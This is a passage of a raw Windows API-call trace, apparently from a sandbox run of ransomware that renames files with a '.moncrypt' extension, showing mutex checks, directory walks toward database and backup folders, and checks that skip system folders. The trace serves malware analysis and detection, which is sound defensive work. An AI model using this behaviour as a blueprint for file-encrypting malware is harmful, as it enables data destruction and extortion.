FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.149] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.149] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.149] GlobalUnlock (hMem=0x44000c) returned 0 [0056.149] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.149] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.149] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.149] GlobalUnlock (hMem=0x44000c) returned 0 [0056.149] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.149] GlobalUnlock (hMem=0x440004) returned 0 [0056.149] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.149] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfd5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX.moncrypt", cAlternateFileName="WHTMTX~1.MON")) returned 0 [0056.149] GetLastError () returned 0x12 [0056.150] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.150] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0056.150] GetLastError () returned 0x12 [0056.150] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.150] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0056.150] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.150] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.150] GlobalLock (hMem=0x440004) returned 0x550170 [0056.150] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.150] GlobalUnlock (hMem=0x440004) returned 0 [0056.151] GlobalLock (hMem=0x440004) returned 0x550170 [0056.151] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.151] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.151] GlobalUnlock (hMem=0x440004) returned 0 [0056.151] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.151] GlobalUnlock (hMem=0x44000c) returned 0 [0056.151] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.151] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.151] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.151] GlobalUnlock (hMem=0x44000c) returned 0 [0056.151] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.151] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.151] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.151] GlobalUnlock (hMem=0x44000c) returned 0 [0056.151] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.151] GlobalUnlock (hMem=0x440004) returned 0 [0056.151] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.151] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO", len=0x33 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO") returned 1 [0056.151] GlobalLock (hMem=0x440004) returned 0x550170 [0056.151] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.151] GlobalUnlock (hMem=0x440004) returned 0 [0056.151] GlobalLock (hMem=0x440004) returned 0x550170 [0056.151] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.151] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.151] GlobalUnlock (hMem=0x440004) returned 0 [0056.151] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.152] GlobalUnlock (hMem=0x44000c) returned 0 [0056.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\眵?\x18") returned 26 [0056.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@聠R耴R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0056.207] GetLastError () returned 0x3 [0056.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0056.208] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18㿬Q\x181")) returned 0xffffffff [0056.208] GetLastError () returned 0x2 [0056.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0056.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@坜U企@\x18?T\x18;")) returned 0xffffffff [0056.209] GetLastError () returned 0x2 [0056.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0056.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@婴U企@\x18?T\x18D")) returned 0xffffffff [0056.209] GetLastError () returned 0x2 [0056.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0056.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18坜U\x18j")) returned 0xffffffff [0056.210] GetLastError () returned 0x2 [0056.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0056.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0056.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@婴U企@\x18?T\x18q")) returned 0xffffffff [0056.211] GetLastError () returned 0x2 [0056.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\坘UP") returned 6 [0056.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵?\x18") returned 7 [0056.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18y")) returned 0xffffffff [0056.211] GetLastError () returned 0x2 [0056.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵?\x18") returned 7 [0056.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18?T\x18\x81")) returned 0xffffffff [0056.212] GetLastError () returned 0x2 [0056.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵?\x18") returned 6 [0056.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@婴U企@\x18?T\x18\x88")) returned 0xffffffff [0056.212] GetLastError () returned 0x2 [0056.212] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵?\x18") returned 6 [0056.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18\x8f")) returned 0xffffffff [0056.213] GetLastError () returned 0x2 [0056.213] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵?\x18") returned 7 [0056.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a888, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18?T\x18\x97")) returned 0xffffffff [0056.213] GetLastError () returned 0x2 [0056.213] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.213] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.213] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.213] GlobalUnlock (hMem=0x44000c) returned 0 [0056.213] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.213] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.213] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.213] GlobalUnlock (hMem=0x44000c) returned 0 [0056.214] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.214] GlobalUnlock (hMem=0x440004) returned 0 [0056.214] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.214] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.214] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.214] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0056.214] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.214] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0056.214] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.214] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0056.214] GlobalLock (hMem=0x440004) returned 0x550170 [0056.214] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.214] GlobalUnlock (hMem=0x440004) returned 0 [0056.215] GlobalLock (hMem=0x440004) returned 0x550170 [0056.215] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.215] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.215] GlobalUnlock (hMem=0x440004) returned 0 [0056.215] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.215] GlobalUnlock (hMem=0x44000c) returned 0 [0056.215] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0056.215] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0056.215] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0056.215] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0056.215] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0056.216] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0056.216] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 